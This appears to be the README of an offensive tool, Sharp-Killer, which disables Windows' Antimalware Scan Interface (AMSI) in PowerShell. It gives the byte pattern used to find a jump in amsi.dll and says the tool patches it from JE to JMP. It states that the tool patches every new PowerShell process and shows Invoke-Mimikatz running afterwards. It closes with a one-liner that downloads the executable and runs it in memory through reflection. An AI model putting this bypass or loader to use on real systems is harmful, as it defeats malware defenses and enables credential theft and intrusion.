Lifetime AMSI bypass AMSI-Killer by @ZeroMemoryEx ported to .NET Framework 4.8.
[ x ] - Live scan for new powershell processes every 0.5 seconds -> Automatically patches new powershell instances
- Set your platform explicitly to x64 in Build > configuration manager
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we get the exact address of the jump instruction by searching for the first byte of each instruction this technique is effective even in the face of updates or modifications to the target data set.
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for example :
| 48:85D2 | test rdx, rdx || 74 3F | je amsi.7FFAE957C694 || 48 : 85C9 | test rcx, rcx || 74 3A | je amsi.7FFAE957C694 || 48 : 8379 08 00 | cmp qword ptr ds : [rcx + 8] , 0 || 74 33 | je amsi.7FFAE957C694 | -
the search pattern will be like this :
{ 0x48,'?','?', 0x74,'?',0x48,'?' ,'?' ,0x74,'?' ,0x48,'?' ,'?' ,'?' ,'?',0x74,0x33}
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The program tests the value of RDX against itself. If the comparison evaluates to 0, the program executes a jump to return. Otherwise, the program proceeds to evaluate the next instruction
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we cant execute "Invoke-Mimikatz"
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we patch the first byte and change it from JE to JMP so it return directly
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now we can execute "Invoke-Mimikatz"
- Sharp-Killer will patch any newly created Powershell processes in near real time.
$url = "https://github.com/S1lkys/SharpKiller/releases/download/1.1/Sharp-Killer.exe"; $cli = New-Object System.Net.WebClient; $sk=[System.Reflection.Assembly]::Load([byte[]]( $cli.DownloadData($url)));$vars = New-Object System.Collections.Generic.List[System.Object];$BindingFlags= [Reflection.BindingFlags] "NonPublic,Static";$sk.EntryPoint.Invoke($null,@(,$passed));